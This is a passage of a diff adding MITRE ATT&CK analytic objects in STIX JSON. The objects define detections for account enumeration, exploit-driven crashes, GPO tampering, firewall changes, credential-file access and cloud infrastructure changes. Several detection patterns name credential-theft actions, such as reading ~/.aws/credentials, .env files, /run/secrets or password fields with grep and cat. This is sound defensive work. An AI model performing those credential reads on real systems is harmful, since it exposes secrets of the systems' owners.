"3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:PATH", + "channel": "path" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessedFile", + "description": "Monitors sensitive file access such as '/etc/passwd', '/etc/group'." + }, + { + "field": "ExecutionScope", + "description": "Restrict detection to user-initiated sessions or specific parent processes." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--be680af0-8d5f-482c-9042-f5d4921e65f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0303#AN0848", + "external_id": "AN0848" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0848", + "description": "Enumeration of macOS local users using dscl, id, dscacheutil, or /etc/passwd access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLine", + "description": "Monitor dscl . list /Users, dscacheutil -q user, id -un." + }, + { + "field": "InteractiveSession", + "description": "Focus on enumeration from non-console users or untrusted apps." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d2bca034-2f97-4c64-ac30-e75d24886be7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0303#AN0849", + "external_id": "AN0849" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0849", + "description": "Enumeration of local ESXi accounts using esxcli or vSphere API from unauthorized sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "vpxd.log", + "channel": "vCenter Management" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:shell", + "channel": "Shell Execution" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPattern", + "description": "Look for 'esxcli system account list' and API calls from unusual sources." + }, + { + "field": "SessionType", + "description": "Restrict detection to interactive sessions vs. maintenance/automation jobs." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6bb68520-c27e-435a-86b5-eb2ce7841cb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0304#AN0850", + "external_id": "AN0850" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0850", + "description": "Exploitation of system or application vulnerability (e.g., CVE-based exploit) followed by service crash, restart, or repeated failure within a short time frame, impacting application/system availability.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "EventCode=1000, 1001, 1002" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7031, 7034" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time window between repeated service crashes or restarts (e.g., 5 crashes within 1 hour)" + }, + { + "field": "TargetApplication", + "description": "Critical applications to monitor based on environment (e.g., web server, database, VPN)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2f4d199c-4d62-4d7d-8c6e-3ec358c22e76", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0304#AN0851", + "external_id": "AN0851" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0851", + "description": "User or remote input triggers application crash or segmentation fault (e.g., SIGSEGV) with service recovery attempts, observed via audit logs and systemd journaling.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "auditd:SYSCALL", + "channel": "Process segfault or abnormal termination after invoking vulnerable syscall sequence" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "journald:Application", + "channel": "Segfault or crash log entry associated with specific application binary" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CrashPattern", + "description": "Specific binary fault signature or stack trace identifiers unique to the application context" + }, + { + "field": "ExploitSourceIP", + "description": "Suspect source IPs for correlation across requests and service failure timing" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e6b92e19-5bc8-414b-b200-96ed6d286388", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0304#AN0852", + "external_id": "AN0852" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0852", + "description": "Application crash or repeated restart cycle triggered by malformed input or exploit file, observed via unified logs and process crash monitoring.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Crash log entries for a process receiving malformed input or known exploit patterns" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Unusual child process tree indicating attempted recovery after crash" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CrashSignature", + "description": "Binary crash hash or affected dylib for distinguishing malicious faults from benign ones" + }, + { + "field": "InputVector", + "description": "File, IPC, or network-based input that may be triggering exploitation (e.g., PDF file, POST request)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f1aae71a-6460-4c08-9aa7-49743f766a71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0304#AN0853", + "external_id": "AN0853" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0853", + "description": "Cloud workload exploitation leads to repeated container, service, or VM termination/restart, typically associated with CVE-based crash triggers or fuzzed payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f", + "name": "AWS:CloudTrail", + "channel": "TerminateInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "AWS:CloudWatch", + "channel": "Repeated crash pattern within container or instance logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "AWS:VPCFlowLogs", + "channel": "Large volume of malformed or synthetic payloads to application endpoints prior to failure" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CrashThreshold", + "description": "Number of repeated crashes or terminations observed before triggering alert" + }, + { + "field": "ServiceID", + "description": "Cloud service name, workload, or container ID to scope alerting" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ec6e1f3c-e9ff-4944-a426-863eaf9979ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0305#AN0854", + "external_id": "AN0854" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0854", + "description": "Adversary modifies GPO containers or files under SYSVOL using LDAP, ADSI, PowerShell (e.g., New-GPOImmediateTask) or GUI tools. This includes directory object changes (e.g., gPCFileSysPath), delegation assignments (SeEnableDelegationPrivilege), and SYSVOL file writes (ScheduledTasks.xml, GptTmpl.inf).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Security", + "channel": "EventCode=5136,5137,5138,5139,5141" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "WinEventLog:Security", + "channel": "EventCode=4704" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ObjectDN", + "description": "Focus detection on AD paths like CN=Policies,CN=System,DC=domain,DC=com." + }, + { + "field": "TargetFilename", + "description": "Target specific files like ScheduledTasks.xml or GptTmpl.inf in SYSVOL." + }, + { + "field": "TimeWindow", + "description": "Correlate GPO object change and SYSVOL file modification within N seconds." + }, + { + "field": "UserContext", + "description": "Alert on unexpected modification by non-admins or uncommon accounts." + }, + { + "field": "CommandLine", + "description": "Flag usage of GPO manipulation tools like Set-GPRegistryValue, New-GPOImmediateTask." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--17ce541a-23fa-4b33-affc-c6ba906e9956", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0306#AN0855", + "external_id": "AN0855" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0855", + "description": "Defender observes configuration changes on firewall/network appliance involving rule creation, modification, or deletion from abnormal management IPs or non-console channels (e.g., remote CLI, API). These are often correlated with a spike in previously blocked outbound traffic, unexpected allow-all rules, or bulk rule deletions. Behavior often follows unauthorized login, privilege escalation, or API abuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "networkdevice:Firewall", + "channel": "update_rule: Access control or NAT rule modified or disabled outside maintenance window" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "networkdevice:Firewall", + "channel": "Login from untrusted IP, or new admin account accessing firewall console/API" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:Firewall", + "channel": "Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Outbound traffic spike through formerly blocked ports/subnets following config change" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedAdminIPs", + "description": "Allowlisted IPs/subnets where administrative access is expected (e.g., jump box, VPN mgmt)" + }, + { + "field": "ConfigChangeWindow", + "description": "Expected maintenance window (e.g., 02:00\u201304:00 UTC) to filter benign changes" + }, + { + "field": "RuleScopeThreshold", + "description": "Number of rules affected or port ranges modified to determine severity" + }, + { + "field": "NewUserPrivilegeThreshold", + "description": "Flag new users making changes without observed privilege elevation path" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0277e29a-af6d-4242-a187-32673328664a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0307#AN0856", + "external_id": "AN0856" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0856", + "description": "Correlated file access to insecure credential files (e.g., *.env, *.xml, *.ps1) followed by suspicious process execution or authentication using retrieved credentials. Detected through Sysmon logs and Windows Security Event logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileNamePattern", + "description": "Patterns like *.env, *credential* can be tuned to reduce noise or catch custom implementations" + }, + { + "field": "ProcessAccessScope", + "description": "Defines scope of access (e.g., only untrusted parent processes or high-risk processes)" + }, + { + "field": "TimeWindow", + "description": "Time delta between credential file access and use in logon attempt" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7ff5d08a-5d4d-4260-85ee-fdb6a244f258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0307#AN0857", + "external_id": "AN0857" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0857", + "description": "File reads or process executions involving insecurely stored credential files (e.g., config files with password fields) by non-root or anomalous users followed by ssh authentication attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive config or secret files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "grep/cat/awk on files with password fields" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "linux:syslog", + "channel": "authentication success after file access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegexPatterns", + "description": "Patterns like password, secret, token can be expanded or customized" + }, + { + "field": "UserContextScope", + "description": "Scope of users monitored (e.g., root vs all users)" + }, + { + "field": "TimeWindow", + "description": "Time between suspicious file access and credential use" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--df289d0f-0f31-487e-b213-9a492d903f2c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0307#AN0858", + "external_id": "AN0858" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0858", + "description": "Terminal-based grep or open of plist/config files containing credentials, correlated with Keychain or system login attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "grep/cat on files matching credential patterns" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "open/read of *.plist or .env files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "Keychain or user login post-access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KeychainToolAccess", + "description": "Monitor unexpected use of security CLI or Keychain helper binaries" + }, + { + "field": "FileTypeList", + "description": "Add or remove watched file types based on system usage" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9c5d279c-eb09-4592-91a4-8cf6436522b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0307#AN0859", + "external_id": "AN0859" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0859", + "description": "Container processes accessing mounted secrets or configuration paths (e.g., /run/secrets, /mnt/config) followed by network access or credential use.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "ebpf:syscalls", + "channel": "open/read on secret mount paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "kubernetes:audit", + "channel": "process execution involving curl, grep, or awk on secrets" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "cni:netflow", + "channel": "outbound connection to internal or external APIs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SecretMountPaths", + "description": "Customize based on deployment structure (e.g., /mnt/, /run/secrets/)" + }, + { + "field": "ProcessBaselineDeviation", + "description": "Tune anomaly scoring for container image deviations" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--01d19202-019e-43c9-a5e9-e1e2a38eb738", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0307#AN0860", + "external_id": "AN0860" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0860", + "description": "Access to local credential/config files (e.g., ~/.aws/credentials) followed by metadata API calls or cloud role assumptions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "CloudTrail:GetObject", + "channel": "sensitive credential files in buckets or local image storage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "AWS:CloudTrail", + "channel": "command-line execution invoking credential enumeration" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "sudden role assumption after credential file access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CredentialFilePattern", + "description": "Regex to match common credential files (e.g., *.aws/credentials, token.txt)" + }, + { + "field": "RoleAssumptionScope", + "description": "Adjust scope of roles monitored (e.g., admin, service accounts)" + }, + { + "field": "TimeWindow", + "description": "Correlation timing between file access and AssumeRole" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c9be9fb3-460f-42bc-9b56-3bb88839aeab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0308#AN0861", + "external_id": "AN0861" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0861", + "description": "Detection focuses on identifying unauthorized or anomalous changes to compute infrastructure components. Defender perspective: monitor for creation, deletion, or modification of instances, volumes, and snapshots outside of approved change management windows; correlate abnormal activity such as rapid snapshot creation followed by new instance mounts, or repeated infrastructure changes by rarely used accounts. Flagging activity linked to unusual geolocation, API client, or automation script is suspicious.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "AWS:CloudTrail", + "channel": "RunInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f", + "name": "AWS:CloudTrail", + "channel": "TerminateInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee", + "name": "AWS:CloudTrail", + "channel": "ModifyVolume" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57", + "name": "AWS:CloudTrail", + "channel": "DeleteVolume, ModifyVolume" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--dad75cc7-5bae-4175-adb4-ca1962d8650e", + "name": "AWS:CloudTrail", + "channel": "CreateVolume" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432", + "name": "AWS:CloudTrail", + "channel": "CreateSnapshot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d", + "name": "AWS:CloudTrail", + "channel": "DeleteSnapshot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f1eb6ea9-f3ab-414f-af35-2d5427199984", + "name": "AWS:CloudTrail", + "channel": "ModifySnapshotAttribute" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "AWS:CloudWatch", + "channel": "unexpected IAM user or role assuming privileges for instance/snapshot operations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ChangeWindow", + "description": "Approved maintenance or deployment windows. Helps reduce false positives by distinguishing scheduled activity." + }, + { + "field": "UserContext", + "description": "IAM user, role, or service account performing the operation. Tunable to allowlist known automation services." + }, + { + "field": "RateThreshold", + "description": "Number of infrastructure changes (e.g., snapshot creations) in a defined period. Adjusted based on workload scale." + }, + { + "field": "GeoLocation", + "description": "Region or source IP where changes originate. Useful for tuning alerts to account for multi-region deployments." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e3ddaba3-282b-4bd0-b316-78b724b79acd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + 